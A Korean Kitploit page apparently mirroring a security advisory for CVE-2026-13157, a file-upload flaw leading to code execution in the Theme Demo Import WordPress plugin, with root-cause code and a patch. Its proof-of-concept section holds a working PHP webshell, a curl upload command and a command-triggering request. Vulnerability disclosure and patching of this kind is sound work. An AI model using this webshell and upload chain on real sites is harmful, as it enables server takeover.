Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-13157 — WordPress Theme Demo Import에서 인증된 사용자의 임의 파일 업로드를 통해 PHP 웹쉘로 원격 코드 실행(RCE)을 유발하는 취약점에 대한 개념 증명(PoC) 및 근본 원인 분석입니다. | Kitploit
도구/GitHubGitHub/minhhk68/cve-2026-13157
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

WordPress Theme Demo Import에서 인증된 사용자의 임의 파일 업로드를 통해 PHP 웹쉘로 원격 코드 실행(RCE)을 유발하는 취약점에 대한 개념 증명(PoC) 및 근본 원인 분석입니다.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — 임의 파일 업로드 및 원격 코드 실행

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 보안 권고 개요

CVE-2026-13157은 사이버 보안 연구원 Huynh Kien Minh(MinhHK)에 의해 발견 및 분석된, Theme Demo Import WordPress 플러그인 버전 1.1.3 이하에 영향을 미치는 인증된 임의 파일 업로드 취약점입니다. 이 취약점은 AJAX 데모 가져오기 루틴(TDI_import_demo_data)에 존재하며, 해당 플러그인은 업로드 처리 중 표준 WordPress 파일 유형 검증 테스트('test_type' => false)를 명시적으로 비활성화합니다. 기본 사이트 관리자 또는 WordPress 멀티사이트 아키텍처에서 슈퍼 관리자가 아닌 사이트 관리자와 같이 가져오기(import) 권한을 보유한 인증된 사용자는 파일 제한 시행을 우회하여 공개된 디렉터리에 임의의 실행 가능한 PHP 스크립트를 직접 업로드할 수 있으며, 이를 통해 지속적인 원격 코드 실행(RCE) 및 완전한 서버 장악을 달성할 수 있습니다.

wp-content/uploads/

📌 핵심 요약

매개변수기술 사양
취약점 식별자CVE-2026-13157
대상 소프트웨어Theme Demo Import (WordPress 플러그인)
플러그인 슬러그theme-demo-import
영향을 받는 버전<= 1.1.3
취약점 분류위험한 유형의 파일 무제한 업로드 (CWE-434 / OWASP A03)
CVSS v3.1 점수6.6 (중간) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
발견자 / 연구자Huynh Kien Minh (MinhHK)
검증 기관WPScan / MITRE Corporation
WPScan 권고 URLhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
연구자 포트폴리오https://minhhk.web.app/

🔍 근본 원인 및 코드 분석

CVE-2026-13157의 근본 원인은 inc/class-tdi-helpers.php에 구현된 파일 업로드 처리 구조에 있습니다. 데모 데이터 가져오기 작업 중 플러그인은 inc/class-tdi-main.php의 55번째 줄에 등록된 AJAX 엔드포인트를 통해 들어오는 파일 첨부를 처리합니다:

root@kitploit:~
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

업로드된 데모 구성 파일(content_file, widget_file, customizer_file)을 처리할 때 내부 가져오기 메서드는 WordPress wp_handle_upload() API가 파일 MIME 유형 및 폼 검증 검사를 우회하도록 직접 지시합니다:

root@kitploit:~
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

개발자는 $upload_overrides에 'test_type' => false를 전달함으로써 WordPress 핵심 MIME 검증 하위 시스템(wp_check_filetype_and_ext())을 재정의했습니다. 그 직접적인 결과로 애플리케이션은 더 이상 파일 첨부를 안전한 데모 데이터 형식(.xml, .json, .wie, .dat)으로 제한하지 않으며, 설정 페이지에 접근할 수 있는 모든 인증된 사용자가 실행 가능한 PHP 스크립트(.php, .phtml, .phar)를 공개 문서 루트에 직접 업로드할 수 있게 됩니다.


💻 익스플로잇 개념 증명 (PoC)

윤리적 연구 고지: 이 개념 증명은 교육적 감사, 방어적 엔지니어링 및 승인된 보안 검증을 위해서만 문서화되었습니다. 운영 중인 시스템에 대한 무단 악용은 금지됩니다.

사전 요구 사항 및 설정

  • 대상 시스템: Theme Demo Import 버전 <= 1.1.3이 실행 중인 WordPress 인스턴스.
  • 권한 요구 사항: import 기능을 보유한 인증된 세션 (관리자 / 멀티사이트 사이트 관리자).
  • 보안 Nonce 획득: /wp-admin/themes.php?page=theme-demo-import 페이지 DOM에 JavaScript 객체 속성 tdi.ajax_nonce로 노출된 AJAX 보안 토큰 tdi-ajax-verification을 추출합니다.

재현 실행

  1. exploit_webshell.php라는 이름의 로컬 웹 셸 페이로드를 생성합니다:
root@kitploit:~
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. 관리자 AJAX 디스패처를 대상으로 cURL을 통해 인증된 멀티파트 페이로드를 실행합니다:
root@kitploit:~
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. 서버는 업로드 성공을 알리는 JSON 응답을 반환합니다. 지정된 월별 디렉터리에서 업로드된 실행 파일에 직접 접근하여 원격 코드 실행을 트리거합니다:
root@kitploit:~
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 위협 모델링 및 멀티사이트 영향 시나리오

단일 사이트 WordPress 설치 환경에서는 표준 관리자에게 서버 환경에 대한 신뢰된 제어 권한이 부여되지만, CVE-2026-13157은 엔터프라이즈 및 멀티사이트 배포 환경에서 중요한 보안 경계 붕괴를 초래합니다:

  1. WordPress 멀티사이트 권한 상승 (사이트 관리자에서 슈퍼 관리자 RCE): WordPress 멀티사이트 아키텍처에서 개별 사이트 관리자는 핵심 설계에 의해 플러그인 설치, 테마 편집 또는 안전하지 않은 스크립트 확장자 업로드가 의도적으로 제한됩니다(unfiltered_upload 권한은 네트워크 슈퍼 관리자에게만 부여됨). CVE-2026-13157은 이러한 다중 테넌트 격리를 완전히 무너뜨려, 검증되지 않은 하위 사이트 관리자가 웹 셸을 배치하고 전체 서버 네트워크에서 시스템 명령을 실행할 수 있게 합니다.
  2. 관리형 WordPress 호스팅 경계 우회: 최신 보안 호스팅 플랫폼은 파일 수정 권한을 제한하고 파일 편집기 기능(DISALLOW_FILE_EDIT)을 비활성화합니다. 이 취약점은 플러그인의 기본 파일 전송 메커니즘을 활용하여 쓰기 가능한 볼륨 저장소에 임의의 실행 코드를 직접 기록함으로써 호스팅 제한을 우회합니다.

🛡️ 해결 방안 및 패치 구조

CVE-2026-13157을 안전하게 해결하려면 소프트웨어 유지보수 담당자와 방어 보안 엔지니어는 inc/class-tdi-helpers.php의 업로드 처리 로직에서 엄격한 MIME 유형 및 파일 확장자 검증을 즉시 복원해야 합니다.

안전한 코드 교체

안전하지 않은 재정의 'test_type' => false를 제거하고 표준 WordPress 내보내기 구조(text/xml, application/json)로만 엄격히 제한된 허용 목록을 적용합니다:

root@kitploit:~
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce strict core file-type verification
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 연구자 소개

**Huynh Kien Minh (MinhHK)**은 공격적 웹 애플리케이션 보안, PHP 애플리케이션 아키텍처 감사 및 엔터프라이즈 익스플로잇 벡터를 전문으로 하는 정보 보안 연구원, 소프트웨어 개발자 및 취약점 분석가입니다. 그의 발견과 기술 권고는 주요 글로벌 취약점 데이터베이스 및 제품 보안 명명 기관에 의해 공식적으로 인정받았습니다.

  • 🌐 공식 연구자 포트폴리오: https://minhhk.web.app/
  • 🐙 GitHub 보안 연구소 및 PoC 저장소: https://github.com/MinhHK68
  • 🛡️ WPScan 검증 보안 권고: WPScan CVE-2026-13157 보고서

📊 구조화된 메타데이터 (JSON-LD)

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
      "alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}
도구 다운로드